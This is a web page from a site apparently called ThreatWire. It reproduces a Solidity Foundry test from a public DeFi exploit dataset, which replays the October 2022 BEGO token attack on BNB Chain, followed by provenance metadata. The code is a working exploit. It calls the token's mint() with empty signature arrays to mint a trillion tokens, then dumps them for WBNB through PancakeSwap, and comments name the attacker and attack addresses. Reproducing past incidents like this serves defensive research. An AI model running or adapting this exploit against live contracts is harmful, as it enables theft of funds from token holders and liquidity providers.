Public reproduction file
src/test/2022-10/BEGO_exp.sol
Public reproduction file for dataset entry BEGO.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : ~12 WBNB8// Attacker : 0xde01f6Ce91E4F4bdB94BB934d30647d72182320F9// Attack Contract : 0x08a525104Ea2A92aBbcE8e4e61C667eED56f3B4210// Vulnerable Contract : 0xc342774492b54ce5F8ac662113ED702Fc1b3497211// Attack Tx : https://bscscan.com/tx/0x9f4ef3cc55b016ea6b867807a09f80d1b2e36f6cd6fccfaf0182f46060332c5713// @Info14// Vulnerable Contract Code : https://bscscan.com/token/0xc342774492b54ce5f8ac662113ed702fc1b34972#code#L125716// @Analysis17// Twitter alert by Ancilia : https://twitter.com/AnciliaInc/status/158282875125078425618// Twitter alert by Peckshield : https://twitter.com/peckshield/status/158289205880068505820interface BEGO20 is IERC20 {21 function mint(uint256, string memory, address, bytes32[] memory, bytes32[] memory, uint8[] memory) external;22}24contract ContractTest is Test {25 BEGO20 constant BEGO_TOKEN = BEGO20(0xc342774492b54ce5F8ac662113ED702Fc1b34972);26 IWBNB constant WBNB_TOKEN = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));27 Uni_Router_V2 constant PS_ROUTER = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);29 function setUp() public {30 vm.createSelectFork("bsc", 22_315_679);31 // Adding labels to improve stack traces' readability32 vm.label(address(WBNB_TOKEN), "WBNB");33 vm.label(address(BEGO_TOKEN), "BEGO");34 vm.label(address(PS_ROUTER), "PS_ROUTER");35 vm.label(0x88503F48e437a377f1aC2892cBB3a5b09949faDd, "WBNB_BEGO_PAIR");36 }38 function testExploit() public {39 emit log_named_decimal_uint(40 "[Start] Attacker WBNB balance before exploit", WBNB_TOKEN.balanceOf(address(this)), 1841 );43 bytes32[] memory _r = new bytes32[](0);44 bytes32[] memory _s = new bytes32[](0);45 uint8[] memory _v = new uint8[](0);46 // Actual payload exploiting the vulnerability in the `mint()` function47 BEGO_TOKEN.mint(1_000_000_000_000 * 1e18, "t", address(this), _r, _s, _v);49 // Swap all minted BEGO to WBNB via PancakeSwap for profit dumping the price50 _BEGOToWBNB();52 emit log_named_decimal_uint(53 "[End] Attacker WBNB balance after exploit", WBNB_TOKEN.balanceOf(address(this)), 1854 );55 }57 /**58 * Auxiliary function to swap all BEGO to WBNB59 */60 function _BEGOToWBNB() internal {61 BEGO_TOKEN.approve(address(PS_ROUTER), type(uint256).max);62 address[] memory path = new address[](2);63 path[0] = address(BEGO_TOKEN);64 path[1] = address(WBNB_TOKEN);65 PS_ROUTER.swapExactTokensForTokensSupportingFeeOnTransferTokens(66 BEGO_TOKEN.balanceOf(address(this)), 0, path, address(this), block.timestamp67 );68 }69}Analysis
Dataset entry
Public Foundry test for “BEGO” (2022-10-20). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
23 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2022-10/ATK_exp.solSame month in the dataset · 97 lines
- src/test/2022-10/BabySwap_exp.solSame month in the dataset · 134 lines
- src/test/2022-10/Carrot_exp.solSame month in the dataset · 149 lines
- src/test/2022-10/EFLeverVault_exp.solSame month in the dataset · 92 lines
- src/test/2022-10/HEALTH_exp.solSame month in the dataset · 105 lines
- src/test/2022-10/HPAY_exp.solSame month in the dataset · 150 lines
- src/test/2022-10/INUKO_exp.solSame month in the dataset · 327 lines
- src/test/2022-10/Market_exp.solSame month in the dataset · 339 lines
- src/test/2022-10/MEVa47b_exp.solSame month in the dataset · 126 lines
- src/test/2022-10/MulticallWithoutCheck_exp.solSame month in the dataset · 46 lines
- src/test/2022-10/N00d_exp.solSame month in the dataset · 94 lines
- src/test/2022-10/OlympusDao_exp.solSame month in the dataset · 61 lines
- src/test/2022-10/PLTD_exp.solSame month in the dataset · 67 lines
- src/test/2022-10/RabbyWallet_SwapRouter_exp.solSame month in the dataset · 148 lines
- src/test/2022-10/RES_exp.solSame month in the dataset · 181 lines
- src/test/2022-10/RL_exp.solSame month in the dataset · 128 lines
- src/test/2022-10/TeamFinance_exp.solSame month in the dataset · 274 lines
- src/test/2022-10/Templedao_exp.solSame month in the dataset · 66 lines
- src/test/2022-10/TransitSwap_exp.solSame month in the dataset · 70 lines
- src/test/2022-10/Uerii_exp.solSame month in the dataset · 96 lines
- src/test/2022-10/ULME_exp.solSame month in the dataset · 258 lines
- src/test/2022-10/VTF_exp.solSame month in the dataset · 114 lines
- src/test/2022-10/XaveFinance_exp.solSame month in the dataset · 220 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xde01f6ce91e4f4bdb94bb934d30647d72182320f
- Attack Contract
0x08a525104ea2a92abbce8e4e61c667eed56f3b42
- Vulnerable Contract
0xc342774492b54ce5f8ac662113ed702fc1b34972
- Attack Tx
0x9f4ef3cc55b016ea6b867807a09f80d1b2e36f6cd6fccfaf0182f46060332c57
File record
- Name
- BEGO
- Path
- src/test/2022-10/BEGO_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- a0bdaac3a13d46704c3b7d272e816f618a26eb8e
- Language
- Solidity
- Size
- 70 lines
- Date
- 2022-10-20
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2022-10/BEGO_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob a0bdaac3a13d46704c3b7d272e816f618a26eb8e, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.